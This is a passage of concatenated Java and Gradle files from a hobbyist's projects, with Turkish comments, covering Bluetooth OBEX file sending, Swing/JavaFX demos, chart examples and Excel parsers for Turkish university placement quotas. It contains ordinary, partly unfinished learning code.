float sonY = (float) (basKoordinat.y + (Math.sin(Math.toRadians(angle)) * uzunluk));
sonKoordinat.set(sonX, sonY);
}
public void update() {
// angleArttir();
setSonKoordinat(basKoordinat, angle);
}
public void draw(float angle) {
setAngle(angle);
draw();
}
public void draw() {
this.update();
Main.sketch.strokeWeight(5);
Main.sketch.line(basKoordinat.x, basKoordinat.y, sonKoordinat.x, sonKoordinat.y);
Main.sketch.ellipse(basKoordinat.x, basKoordinat.y, 10, 10);
}
public void angleArttir() {
this.angle += 1;
}
public PVector getSonKoordinat() {
return sonKoordinat;
}
public void setSonKoordinat(PVector sonKoordinat) {
this.sonKoordinat = sonKoordinat;
}
/*
* Verilen diğer çubukla arasındaki açı değerini döner
*/
public float getAngle(Cubuk cubuk) {
return PVector.angleBetween(this.nor(), cubuk.nor());
}
public float getAngle() {
return angle;
}
public void setAngle(float d) {
d = 360 - d;
this.angle = d;
}
public void setAngle(Cubuk cubuk, float angle) {
this.angle = cubuk.getAngle() + angle;
}
/*
* Merkez koordinat sistemine taşınmış şekilde vektörünü geri döndürür
*/
public PVector getVector() {
float deltaX = sonKoordinat.x - basKoordinat.x;
float deltaY = sonKoordinat.y - basKoordinat.y;
return new PVector(deltaX, deltaY);
}
/*
* Normalize edilmiş Hali döndürürlür
*/
public PVector nor() {
PVector vector = getVector();
return vector.normalize();
}
public PVector getBasKoordinat() {
return basKoordinat;
}
public void setBasKoordinat(PVector basKoordinat) {
this.basKoordinat = basKoordinat;
}
public float getUzunluk() {
return uzunluk;
}
public void setUzunluk(float uzunluk) {
this.uzunluk = uzunluk;
}
}
<file_sep>/BluetoothJavaComputer/src/MyDiscoveryListener.java
import javax.bluetooth.*;
import javax.microedition.io.Connector;
import javax.obex.ClientSession;
import javax.obex.HeaderSet;
import javax.obex.Operation;
import javax.obex.ResponseCodes;
import java.io.*;
import java.util.ArrayList;
import java.util.Scanner;
/*
bu sınıf ta internetten bulduğum güzel bi class direk pc üzeriden dosya göndrmeye yarıyor işe yarar
istiyosan b müzik deniyelim
*/
public class MyDiscoveryListener implements DiscoveryListener {
private static Object lock = new Object();
public ArrayList<RemoteDevice> devices;
public ArrayList<String> urls;
Scanner sc;
public MyDiscoveryListener() {
devices = new ArrayList<RemoteDevice>();
urls = new ArrayList<>();
sc = new Scanner(System.in);
}
public static void main(String[] args) throws IOException {
listenerlaGonder();
}
private static void listenerlaGonder() {
MyDiscoveryListener listener = new MyDiscoveryListener();
try {
LocalDevice localDevice = LocalDevice.getLocalDevice();
DiscoveryAgent agent = localDevice.getDiscoveryAgent();
agent.startInquiry(DiscoveryAgent.GIAC, listener);
try {
synchronized (lock) {
lock.wait();
}
} catch (InterruptedException e) {
e.printStackTrace();
return;
}
System.out.println("Device Inquiry Completed. ");
UUID[] uuidSet = new UUID[1];
uuidSet[0] = new UUID(0x1105); //OBEX Object Push service
int[] attrIDs = new int[]{
0x0100 // Service name
};
for (RemoteDevice device : listener.devices) {
agent.searchServices(
attrIDs, uuidSet, device, listener);
try {
synchronized (lock) {
lock.wait();
}
} catch (InterruptedException e) {
e.printStackTrace();
return;
}
System.out.println("Service search finished.");
}
} catch (Exception e) {
e.printStackTrace();
}
}
private static void sendMessageToDevice(String serverURL) {
try {
System.out.println("Connecting to " + serverURL);
// PrintWriter writer = new PrintWriter(Connector.openOutputStream(serverURL));
// writer.write("recai");
// writer.flush();
ClientSession clientSession = (ClientSession) Connector.open(serverURL);
HeaderSet hsConnectReply = clientSession.connect(null);
if (hsConnectReply.getResponseCode() != ResponseCodes.OBEX_HTTP_OK) {
System.out.println("Failed to connect");
return;
}
File file = new File("F:\\WorkSpaces\\Java\\untitled\\src\\music.mp3");
if(!file.exists()){
System.exit(-1);
}
long boyut = file.length();
HeaderSet hsOperation = clientSession.createHeaderSet();
hsOperation.setHeader(HeaderSet.NAME, "music.mp3");
hsOperation.setHeader(HeaderSet.LENGTH,boyut);
/*
şu anda dosya göndermeyi yapamadık ama çok yaklaştık
*/
//Create PUT Operation
Operation putOperation = clientSession.put(hsOperation);
// Send some text to server
System.out.println("Gönderiliyor");
byte data[] = "<NAME>".getBytes("UTF-8");
OutputStream os = putOperation.openOutputStream();
FileInputStream fis = new FileInputStream(file);
int nRead;
byte[] buffer = new byte[2000];
while ( (nRead = fis.read(buffer)) != -1 ) {
boyut = boyut-nRead;
System.out.println(boyut);
os.write(nRead);
os.flush();
}
os.close();
// os.write(data);
// os.close();
putOperation.close();
clientSession.disconnect(hsOperation);
clientSession.close();
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void deviceDiscovered(RemoteDevice btDevice, DeviceClass arg1) {
String name;
try {
name = btDevice.getFriendlyName(false);
} catch (Exception e) {
name = btDevice.getBluetoothAddress();
}
devices.add(btDevice);
System.out.println("device found: " + name);
}
@Override
public void inquiryCompleted(int arg0) {
synchronized (lock) {
lock.notify();
}
}
@Override
public void serviceSearchCompleted(int arg0, int arg1) {
synchronized (lock) {
lock.notify();
}
}
private void listUrls() {
for (String url : urls) {
System.out.println(url);
}
int secenek = sc.nextInt();
if (secenek >= 0 && secenek < urls.size())
sendMessageToDevice(urls.get(secenek));
}
@Override
public void servicesDiscovered(int transID, ServiceRecord[] servRecord) {
for (int i = 0; i < servRecord.length; i++) {
String url = servRecord[i].getConnectionURL(ServiceRecord.NOAUTHENTICATE_NOENCRYPT, false);
if (url == null) {
continue;
}
DataElement serviceName = servRecord[i].getAttributeValue(0x0100);
if (serviceName != null) {
System.out.println("service " + serviceName.getValue() + " found " + url);
urls.add(url);
listUrls();
if (serviceName.getValue().equals("OBEX Object Push")) {
}
} else {
System.out.println("service found " + url);
}
}
}
}
<file_sep>/Libgdx with video Tests/html3DTest/core/src/com/byrfb/net/json/tests/objects/User.java
package com.byrfb.net.json.tests.objects;
import com.byrfb.net.json.Json;
import com.byrfb.net.json.JsonClassSerializable;
import com.byrfb.net.json.JsonObject;
public class User implements JsonClassSerializable{
public String name;
public String surName;
@Override
public JsonObject serialize() {
JsonObject obj = Json.object();
obj.add("name", name);
obj.add("surName", surName);
return obj;
}
@Override
public void deserialize(JsonObject obj) {
name = obj.get("name").asString();
surName = obj.get("surName").asString();
}
}<file_sep>/Py4J/java/build.gradle
plugins {
id 'java'
}
/**
* Bu projede java program içeriwsinde python script çalıştırarark java objelerine python içerisinden erişebiliyrosun
* bununla birlikte java ile geliştirdiğin projeye python
* üzerinden kolayca erişip değişiklikler veya program içerisinde yönlendirmeler yapabilirsin
* python scriptini artık java içerisinde kullanabilirsin
*
*
*
*/
group 'com.byrfb'
version '1.0-SNAPSHOT'
sourceCompatibility = 1.8
repositories {
mavenCentral()
}
dependencies {
testCompile group: 'junit', name: 'junit', version: '4.12'
// https://mvnrepository.com/artifact/net.sf.py4j/py4j
compile group: 'net.sf.py4j', name: 'py4j', version: '0.8.1'
}
<file_sep>/MesafeSorter/src/tests/GraphFrame.java
package tests;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import de.progra.charting.swing.*;
import de.progra.charting.event.*;
import de.progra.charting.model.*;
import de.progra.charting.render.*;
import de.progra.charting.*;
public class GraphFrame extends javax.swing.JFrame implements ActionListener, ChartDataModelListener {
ChartPanel panel;
EditableChartDataModel data;
// Initialize the Timer:
javax.swing.Timer t = new javax.swing.Timer(1000, this);
double time = 3.0;
public GraphFrame() {
// Init some starting data
double[][] model = {{25.0, 22.0, 23.0},
{13.0, 11.0, 12.0}};
double[] columns = {0.0, 1.0, 2.0};
String[] columnString = {"1998", "1999", "2000"};
String[] rows = {"Int. Temp.", "Ext. Temp."};
String title = "Viewing Internal & External Temperature";
// Create an editable chart data model
data = new EditableChartDataModel(model, columns, rows);
// Creating the Swing ChartPanel instead of DefaultChart
panel = new ChartPanel(data, title, DefaultChart.LINEAR_X_LINEAR_Y);
// Adding ChartRenderer as usual
panel.addChartRenderer(new LineChartRenderer(panel.getCoordSystem(), data), 1);
// Register EventListener
data.addChartDataModelListener(this);
// Start the Timer
t.start();
setSize(640, 480);
this.getContentPane().add(panel, BorderLayout.CENTER);
}
public void actionPerformed(ActionEvent evt) {
// The Timer generated an event -> update DataModel with random data
data.insertValue(0, new Double(Math.random() * 10.0 + 20.0), new Double(time));
data.insertValue(1, new Double(Math.random() * 7.0 + 10.0), new Double(time));
time++;
}
public void chartDataChanged(ChartDataModelEvent evt) {
// The DataModel changed -> update display
panel.revalidate();
repaint();
}
public static void main(String args[]) {
// Start the whole shebang
new GraphFrame().show();
}
}<file_sep>/YksSonucParser/src/main/java/com/byrfb/program/Main.java
package com.byrfb.program;
import com.byrfb.objects.Kontenjan;
import com.byrfb.parsers.ParserUtils;
import org.apache.poi.hssf.usermodel.HSSFSheet;
import org.apache.poi.hssf.usermodel.HSSFWorkbook;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.ArrayList;
public class Main {
/**
*
* Bu programla işte yks de ki üniversite ve böülğmleri puana göre vs vs sıralayabilmek için
* parse etme işlemi yaptık
* ayrıca pdf to xcl e çevirme yapan bir tane de program keşfettin
*
*/
public static ArrayList<Kontenjan> kontenjans = new ArrayList<>();
public static void main(String[] args) throws IOException {
final String TABLO1PATH = "documents/tablo1.xcl";
final String TABLO2PATH = "documents/tablo2.xcl";
File input = new File(TABLO2PATH);
FileInputStream fis = new FileInputStream(input);
HSSFWorkbook workBook = new HSSFWorkbook(fis);
int pageSize = workBook.getNumberOfSheets();
for (int i = 0; i < pageSize; i++) {
HSSFSheet sheet = workBook.getSheetAt(i);
ParserUtils.parseSheet(sheet);
}
kontenjans.sort(null);
for(Kontenjan kont : kontenjans){
System.out.println(kont);
}
}
}
<file_sep>/JavaSwingTwoWayBinding/src/main/java/com/byrfb/lang/types/BindiableInteger.java
package com.byrfb.lang.types;
public class BindiableInteger extends AbstractBindiableData<Integer> {
}
<file_sep>/JavaFxInSwing/src/com/byrfb/swing/Frame.java
/*
* By Rfb bu sınıf ekran da açılan penceri oluşturur
* bu sayede ekrana bi tane java fx penceresi bi tane swing panel ekler
* swing panelde bizim open gl i oynatıypruz
*
*
*/
package com.byrfb.swing;
import com.byrfb.javaFx.FxPanel;
import javax.swing.*;
import java.awt.*;
public class Frame extends JFrame {
public final static int WIDTH = 640;
public final static int HEIGHT = 480;
public static Container CONTAINER = null;
SwingPanel swingPanel;
FxPanel fxPanel;
public Frame() {
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
setupFrame();
}
});
createComponent();
componentleriAyarla();
}
/**
* altaki metod ekranda buluncak komponentleri frame ekler sonra komponentlerin
* boyutlarının ayarlayıp her komponentin kendi işimi yapması için thread açar
*
*
*/
private void componentleriAyarla() {
// cont.setLayout(new BorderLayout());
// cont.setLayout(new FlowLayout());
CONTAINER.setLayout(new GridLayout(0, 2));
// fxPanel.setLocation(0, 0);
// swingPanel.setLocation(cont.getWidth()/2, cont.getHeight());
CONTAINER.add(swingPanel);
CONTAINER.add(fxPanel);
swingPanel.setSize(CONTAINER.getWidth() / 2, CONTAINER.getHeight() / 2);
fxPanel.setSize(CONTAINER.getWidth() / 2, CONTAINER.getHeight());
// boyutTest();
new Thread(new Runnable() {
@Override
public void run() {
swingPanel.init();
}
}).start();
new Thread(new Runnable() {
@Override
public void run() {
fxPanel.init();
fxPanel.setLocation(CONTAINER.getWidth() / 2, 0);
}
}).start();
}
/**
* aşşağıdaki metot ise swinge eklenen komponentlerin boyutlarını kontrol etmek
* için yazıldı
*/
private void boyutTest() {
new Thread(new Runnable() {
@Override
public void run() {
while (true) {
System.out.println("swing " + swingPanel.getWidth());
System.out.println("--------");
System.out.println(fxPanel.getWidth());
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}).start();
}
/**
* aşağıda metot komponentlerin instancelerini alır
*/
private void createComponent() {
swingPanel = new SwingPanel();
fxPanel = new FxPanel();
}
/**
* bu metot frame i olştururp ayarlaekını düzenler
*/
private void setupFrame() {
CONTAINER = this.getContentPane();
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
// this.setExtendedState(JFrame.MAXIMIZED_BOTH);
// setUndecorated(true);
pack();
setVisible(true);
setSize(WIDTH, HEIGHT);
}
}
<file_sep>/BluetoothJavaComputer/bluetooth-client/build.gradle
/*
* This file was generated by the Gradle 'init' task.
*/
plugins {
id 'java'
id 'maven-publish'
}
repositories {
mavenLocal()
maven {
url = 'http://repo.maven.apache.org/maven2'
}
}
dependencies {
compile 'org.slf4j:slf4j-api:1.7.21'
compile 'org.slf4j:slf4j-log4j12:1.7.21'
// https://mvnrepository.com/artifact/io.ultreia/bluecove
compile group: 'io.ultreia', name: 'bluecove', version: '2.1.1'
testCompile 'junit:junit:4.12'
}
group = 'org.korecky'
version = '2.0'
description = 'bluetooth-client-hc06'
sourceCompatibility = '1.8'
task sourcesJar(type: Jar) {
classifier = 'sources'
from(sourceSets.main.allJava)
}
task javadocJar(type: Jar) {
classifier = 'javadoc'
from(javadoc.destinationDir)
}
publishing {
publications {
maven(MavenPublication) {
from(components.java)
artifact(sourcesJar)
artifact(javadocJar)
}
}
}
tasks.withType(JavaCompile) {
options.encoding = 'UTF-8'
}
<file_sep>/TcddEBiletBot/src/console/MusicPlayer.java
package console;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import javazoom.jl.decoder.JavaLayerException;
import javazoom.jl.player.Player;
/**
*
* @author ByRfb
*/
public class MusicPlayer {
FileInputStream fis;
Player playMP3;
public Player getPlayMP3() {
return playMP3;
}
public void setPlayMP3(Player playMP3) {
this.playMP3 = playMP3;
}
private Thread musicThread;
public Thread getMusicThread() {
return musicThread;
}
/**
*
* @param path
* @throws FileNotFoundException
* @throws JavaLayerException
* @throws InterruptedException
*/
public MusicPlayer() {
}
public void play() throws FileNotFoundException, JavaLayerException, InterruptedException {
playSound("libs/music.mp3");
}
/**
*
* @param path
* @throws FileNotFoundException
* @throws JavaLayerException
* @throws InterruptedException
*/
public void playSound(String path) throws FileNotFoundException, JavaLayerException, InterruptedException {
fis = new FileInputStream(path);
playMP3 = new Player(fis);
musicThread = new Thread(new Runnable() {
@Override
public void run() {
try {
playMP3.play();
} catch (JavaLayerException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
});
musicThread.start();
}
}
<file_sep>/HerokuJavaServerWithGradle/build.gradle
/**
*
* Bu proje ile çok güzel bir şekilde herokuya gradle proje deploy edebilir
* farklı farklı librarileri gerek gradle mac-ven repo olsun gerekse jar olsun
* ekleyip ister jar şekilde çıkartıp library olarak istersen de atrı jar yapıp classpatha ekleyerek
* o kütüphaneyi kullnabilirsin
* zayen javada http prokololüne göre bir tane server yapmıştın
* aynı bu şekiilde bir kaç değişiklik yapman gerekiyodu o değişikliklerini yaparak artık java da istediğin gibi tcp kullanarak kendi serverini oluşturup bu
* serveri kullanara internet sitelerini paylaşabilirsin
* javayla farklı bir şekilde databse kullanarak heroku da free bir şekilde internet sitelerini ps-aylaşabilirsin
* bundan sonra yapacağın işlem artık vue js ile kendi serverini birleştirip
* internet siteleri oluşturup yoluna devam etmen olcak
*
*
*
*/
plugins {
id 'java'
}
group 'com.byrfb'
version '1.0-SNAPSHOT'
sourceCompatibility = 1.8
repositories {
mavenCentral()
}
dependencies {
testCompile group: 'junit', name: 'junit', version: '4.12'
}
jar {
baseName = 'app'
version = ''
manifest {
from 'META-INF/MANIFEST.MF'
}
// bu alttaki from kısmı eklenen classpathları direk har içine fat jar olrak gömer
// from {
// configurations.compile.collect { it.isDirectory() ? it : zipTree(it) }
// }
}
task stage(dependsOn: ['build', 'clean'])
build.mustRunAfter clean
// compile edilenleri veya eklenen libararileri direk jarın yanına kopyalar
// sonra eğer librarileri kulanıyorsan classpatha eklemek için manifest dosyasına classpath diye belirtmen gerekmekte
// Class-Path: jsoup-1.11.3.jar bu şekilde ekleycen manifest dosyasına
task copyToLib(type: Copy) {
into "$buildDir/libs"
from(configurations.compile)
}
stage.dependsOn(copyToLib)
gradle.taskGraph.whenReady {
taskGraph ->
if (taskGraph.hasTask(stage)) {
test.enabled = false
}
}
<file_sep>/Libgdx with video Tests/html3DTest/core/src/com/byrfb/game/GameChooser.java
package com.byrfb.game;
import com.badlogic.gdx.ApplicationListener;
import com.byrfb.bullettests.BulletTest;
import com.byrfb.libgdxgui.GuiDesign;
//import com.byrfb.gdxvideo.GdxVideoTest;
public class GameChooser {
ApplicationListener game;
public ApplicationListener getGame() {
this.game = new BulletTest();
return game;
}
public void setGame(ApplicationListener game) {
this.game = game;
}
}
<file_sep>/QtJambiTest/src/pages/Ui_MainWindow.java
/********************************************************************************
** Form generated from reading ui file 'untitledfarkli.jui'
**
** Created by: Qt User Interface Compiler version 4.8.6
**
** WARNING! All changes made in this file will be lost when recompiling ui file!
********************************************************************************/
package pages;
import com.trolltech.qt.core.*;
import com.trolltech.qt.gui.*;
public class Ui_MainWindow implements com.trolltech.qt.QUiForm<QMainWindow>
{
public QWidget centralwidget;
public QGridLayout gridLayout;
public QVBoxLayout verticalLayout;
public QCommandLinkButton commandLinkButton;
public QHBoxLayout horizontalLayout;
public QCommandLinkButton commandLinkButton_6;
public QTreeView treeView;
public QCommandLinkButton commandLinkButton_5;
public QRadioButton radioButton;
public QToolButton toolButton_2;
public QCommandLinkButton commandLinkButton_2;
public QCommandLinkButton commandLinkButton_3;
public QCommandLinkButton commandLinkButton_4;
public QToolButton toolButton;
public Ui_MainWindow() { super(); }
public void setupUi(QMainWindow MainWindow)
{
MainWindow.setObjectName("MainWindow");
MainWindow.resize(new QSize(800, 600).expandedTo(MainWindow.minimumSizeHint()));
centralwidget = new QWidget(MainWindow);
centralwidget.setObjectName("centralwidget");
gridLayout = new QGridLayout(centralwidget);
gridLayout.setObjectName("gridLayout");
verticalLayout = new QVBoxLayout();
verticalLayout.setObjectName("verticalLayout");
commandLinkButton = new QCommandLinkButton(centralwidget);
commandLinkButton.setObjectName("commandLinkButton");
verticalLayout.addWidget(commandLinkButton);
horizontalLayout = new QHBoxLayout();
horizontalLayout.setObjectName("horizontalLayout");
commandLinkButton_6 = new QCommandLinkButton(centralwidget);
commandLinkButton_6.setObjectName("commandLinkButton_6");
horizontalLayout.addWidget(commandLinkButton_6);
treeView = new QTreeView(centralwidget);
treeView.setObjectName("treeView");
horizontalLayout.addWidget(treeView);
commandLinkButton_5 = new QCommandLinkButton(centralwidget);
commandLinkButton_5.setObjectName("commandLinkButton_5");
horizontalLayout.addWidget(commandLinkButton_5);
radioButton = new QRadioButton(centralwidget);
radioButton.setObjectName("radioButton");
horizontalLayout.addWidget(radioButton);
toolButton_2 = new QToolButton(centralwidget);
toolButton_2.setObjectName("toolButton_2");
horizontalLayout.addWidget(toolButton_2);
verticalLayout.addLayout(horizontalLayout);
commandLinkButton_2 = new QCommandLinkButton(centralwidget);
commandLinkButton_2.setObjectName("commandLinkButton_2");
verticalLayout.addWidget(commandLinkButton_2);
commandLinkButton_3 = new QCommandLinkButton(centralwidget);
commandLinkButton_3.setObjectName("commandLinkButton_3");
verticalLayout.addWidget(commandLinkButton_3);
commandLinkButton_4 = new QCommandLinkButton(centralwidget);
commandLinkButton_4.setObjectName("commandLinkButton_4");
verticalLayout.addWidget(commandLinkButton_4);
toolButton = new QToolButton(centralwidget);
toolButton.setObjectName("toolButton");
verticalLayout.addWidget(toolButton);
gridLayout.addLayout(verticalLayout, 0, 0, 1, 1);
MainWindow.setCentralWidget(centralwidget);
retranslateUi(MainWindow);
MainWindow.connectSlotsByName();
} // setupUi
void retranslateUi(QMainWindow MainWindow)
{
MainWindow.setWindowTitle(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "MainWindow", null));
commandLinkButton.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "CommandLinkButton", null));
commandLinkButton_6.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "CommandLinkButton", null));
commandLinkButton_5.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "CommandLinkButton", null));
radioButton.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "RadioButton", null));
toolButton_2.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "...", null));
commandLinkButton_2.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "CommandLinkButton", null));
commandLinkButton_3.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "CommandLinkButton", null));
commandLinkButton_4.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "CommandLinkButton", null));
toolButton.setText(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "...", null));
} // retranslateUi
}
<file_sep>/YksSonucParser/src/main/java/com/byrfb/parsers/RowParser.java
package com.byrfb.parsers;
import com.byrfb.objects.Brans;
import com.byrfb.objects.Headers;
import com.byrfb.objects.Kontenjan;
import com.byrfb.program.Utils;
import org.apache.poi.ss.usermodel.Row;
import static com.byrfb.program.Main.kontenjans;
public class RowParser implements Parser<Row> {
@Override
public void parse(Row parseable) {
Kontenjan kont = new Kontenjan();
kont.setProgramKod(parseable.getCell(Headers.Program_Kodu.getIndex()).getStringCellValue());
String brasString = parseable.getCell(Headers.Program_Adi.getIndex()).getStringCellValue();
Brans brans = new Brans(brasString);
kont.setBolum(brans);
int index = 0;
try {
kont.setPuanTuru(parseable.getCell(Headers.Puan_Turu.getIndex()).getStringCellValue());
} catch (Exception e) {
index = 1;
}
kont.setPuanTuru(parseable.getCell(index + Headers.Puan_Turu.getIndex()).getStringCellValue());
kont.setGenelKont(parseable.getCell(index + Headers.Genel_Kont.getIndex()).getStringCellValue());
kont.setGenelYerlestirme(parseable.getCell(index + Headers.Genel_Yeri.getIndex()).getStringCellValue());
String enKucukPuanString = parseable.getCell(index + Headers.En_Kucuk_Puan.getIndex()).getStringCellValue();
String ennBuyukPuanString = parseable.getCell(index + Headers.En_Buyuk_Puan.getIndex()).getStringCellValue();
String obKontString = parseable.getCell(index + Headers.OB_Kont.getIndex()).getStringCellValue();
String obYerString = parseable.getCell(index + Headers.OB_Yer.getIndex()).getStringCellValue();
String obkEnKucukPuanString = parseable.getCell(index + Headers.OBK_En_Kucuk_Puan.getIndex()).getStringCellValue();
String obkEnBuyukPuanString = parseable.getCell(index + Headers.OBKEn_Buyuk_Puan.getIndex()).getStringCellValue();
kont.setEnKucukPuan(Utils.StringToFloat(enKucukPuanString));
kont.setEnBuyukPuan(Utils.StringToFloat(ennBuyukPuanString));
kont.setObKont(Utils.StringToFloat(obKontString));
kont.setObYer(Utils.StringToFloat(obYerString));
kont.setObkEnKucukPuan(Utils.StringToFloat(obkEnKucukPuanString));
kont.setObkEnBuyukPuan(Utils.StringToFloat(obkEnBuyukPuanString));
kontenjans.add(kont);
}
}
<file_sep>/javaDirCopy/nbproject/configs/FileListerTest.properties
main.class=Tests.FileListerTest
<file_sep>/dus Parser/DusParser/src/main/java/com/byrfb/parser/ParserMain.java
package com.byrfb.parser;
import com.byrfb.Util;
import com.byrfb.objects.Kontenjan;
import com.byrfb.objects.KontenjanBolum;
import org.apache.poi.ss.usermodel.Cell;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Iterator;
public class ParserMain {
KontenjanBolum bolum;
ArrayList<Kontenjan> kontenjans = new ArrayList<Kontenjan>();
XSSFWorkbook workBook;
public ArrayList<Kontenjan> getKontenjans() {
return kontenjans;
}
public void setKontenjans(ArrayList<Kontenjan> kontenjans) {
this.kontenjans = kontenjans;
}
public void save(ArrayList<Kontenjan> requestSave) throws IOException {
File saveFile = new File("assets/" + bolum.getText() + ".html");
saveFile.createNewFile();
String template = Util.open("assets/bas.html");
template = template.replace("{{@Title}}", bolum.getText());
String tableText = createTable(requestSave);
template = template.replace("{{@Body}}", tableText);
PrintWriter writer = new PrintWriter(saveFile);
writer.write(template);
writer.close();
}
private String createTable(ArrayList<Kontenjan> requestSave) {
StringBuilder builder = new StringBuilder();
builder.append("<table style = '"
+ "margin-left: auto;" +
" margin-right: auto;'>");
for (Kontenjan konte : requestSave) {
convertTextKontenjan(builder, konte);
}
builder.append("</table>");
return builder.toString();
}
private void convertTextKontenjan(StringBuilder builder, Kontenjan konte) {
builder.append("<tr>");
//---------------------- Start
builder.append("<td>");
builder.append(
"Universite : " + konte.getUniversite()
);
builder.append("</td>");
//---------------------- Start
builder.append("<td>");
builder.append(
" -Brans : " + konte.getBrans()
);
builder.append("</td>");
//---------------------- Start
builder.append("<td>");
builder.append(
" -<NAME> : " + konte.getEnKucuk()
);
builder.append("</td>");
//---------------------- Start
builder.append("<td>");
builder.append(
" -Kontenjan : " + konte.getKontenjanSayisi()
);
builder.append("</td>");
builder.append("</tr>");
}
public void read() throws IOException {
File input = new File("assets/minmaxgenelyu09122019.xlsx");
FileInputStream fis = new FileInputStream(input);
workBook = new XSSFWorkbook(fis);
fis.close();
}
public void bookParse() {
int sheetLenght = workBook.getNumberOfSheets();
for (int i = 0; i < sheetLenght; i++) {
sheetParse(i);
}
}
private void sheetParse(int sheetInderx) {
XSSFSheet sheet = workBook.getSheetAt(sheetInderx);
Iterator<Row> rowIterator = sheet.iterator();
int atlanacakRow = 0;
Row row = null;
while (rowIterator.hasNext()) {
row = rowIterator.next();
if (atlanacakRow < 3) {
atlanacakRow++;
continue;
}
try {
parseRow(row);
} catch (ArrayIndexOutOfBoundsException e) {
e.printStackTrace();
}
}
}
public void parseRow(Row row) throws ArrayIndexOutOfBoundsException {
Iterator<Cell> cellIterator = row.cellIterator();
int col = 0;
// System.out.println(cell);
Kontenjan kont = new Kontenjan();
while (cellIterator.hasNext()) {
Cell cell = cellIterator.next();
if (cell.toString().equals("---")) {
col++;
continue;
}
if (col > 5)
break;
switch (col - 1) {
case 0:
String unFakBras = cell.toString();
String[] splittinCell = unFakBras.split("/");
kont.setUniversite(splittinCell[0]);
kont.setFakulte(splittinCell[1]);
kont.setBrans(splittinCell[2]);
break;
case 1:
kont.setKontenjanSayisi(Float.parseFloat(cell.toString().replace(",", ".")));
break;
case 2:
kont.setYerlesen(Float.parseFloat(cell.toString().replace(",", ".").replace("*", "")));
break;
case 3:
kont.setBosKontenjan(Float.parseFloat(cell.toString().replace(",", ".")));
break;
case 4:
kont.setEnKucuk(Float.parseFloat(cell.toString().replace(",", ".")));
break;
case 5:
kont.setEnBuyuk(Float.parseFloat(cell.toString().replace(",", ".")));
break;
default:
break;
}
col++;
}
if (kont.getUniversite() != null && kont.getKontenjanSayisi() != 0)
kontenjans.add(kont);
}
public ArrayList<Kontenjan> reserve() {
ArrayList<Kontenjan> reserved = new ArrayList<>();
for (Kontenjan kont : kontenjans) {
if (bolum == KontenjanBolum.Bolumsuz || kont.getBrans().toLowerCase().indexOf(bolum.name().toLowerCase()) != -1) {
reserved.add(kont);
}
}
return reserved;
}
public KontenjanBolum getBolum() {
return bolum;
}
public void setBolum(KontenjanBolum bolum) {
this.bolum = bolum;
}
}
<file_sep>/TcddEBiletBot/nbproject/configs/Main (4).properties
main.class=main.Main
<file_sep>/JavaSqliteOrm/src/com/byrfb/objects/ders/Lesson.java
package com.byrfb.objects.ders;
public class Lesson {
public int id;
public String name;
public Lesson(int id,String name) {
super();
this.id = id;
this.name = name;
}
}
<file_sep>/TcddEBiletBot/nbproject/configs/MusicTest.properties
main.class=Tests.MusicTest
<file_sep>/javaDirCopy/nbproject/configs/FlashScannerTest.properties
main.class=Tests.FlashScannerTest
<file_sep>/BluetoothJavaComputer/src/fileSend/FileSend.java
package fileSend;
import javax.bluetooth.DiscoveryAgent;
import javax.bluetooth.LocalDevice;
import javax.microedition.io.Connector;
import javax.microedition.io.StreamConnection;
import javax.microedition.io.StreamConnectionNotifier;
import java.io.DataInputStream;
import java.io.IOException;
public class FileSend {
static String device_UUID = "btgoep://94350ABB9A50:12";
private static void dataGonder() throws IOException {
LocalDevice localDevice = LocalDevice.getLocalDevice();
localDevice.setDiscoverable(DiscoveryAgent.GIAC); // Advertising the service
String url = device_UUID;
StreamConnectionNotifier server = null;
while (server == null) {
try {
server = (StreamConnectionNotifier) Connector.open(url);
} catch (Exception e) {
e.printStackTrace();
}
}
StreamConnection connection = server.acceptAndOpen(); // Wait until client connects
//=== At this point, two devices should be connected ===//
DataInputStream dis = connection.openDataInputStream();
char c;
while (true) {
c = dis.readChar();
if (c == 'x')
break;
}
connection.close();
}
}
<file_sep>/JavaSwingTwoWayBinding/src/main/java/com/byrfb/lang/types/BindiableByte.java
package com.byrfb.lang.types;
public class BindiableByte extends AbstractBindiableData<Byte> {
}
<file_sep>/BluetoothJavaComputer/src/remotebluetooth/ProcessConnectionThread.java
package remotebluetooth;
import javax.microedition.io.StreamConnection;
import java.awt.*;
import java.awt.event.KeyEvent;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.util.Scanner;
public class ProcessConnectionThread implements Runnable {
// Constant that indicate command from devices
private static final int EXIT_CMD = -1;
private static final int KEY_RIGHT = 1;
private static final int KEY_LEFT = 2;
InputStream inputStream;
Scanner sc;
Robot robot;
OutputStream os;
PrintWriter writer;
private StreamConnection mConnection;
public ProcessConnectionThread(StreamConnection connection) {
mConnection = connection;
try {
robot = new Robot();
} catch (AWTException e) {
e.printStackTrace();
}
}
@Override
public void run() {
try {
// prepare to receive data
inputStream = mConnection.openInputStream();
sc = new Scanner(inputStream);
os = mConnection.openOutputStream();
writer = new PrintWriter(os);
/*
streamlar ayarlandı out put streama print writer koyudlu input streama da scanner koyuldu text işlemi kolay oluyor
*/
System.out.println("waiting for input");
while (true) {
/*
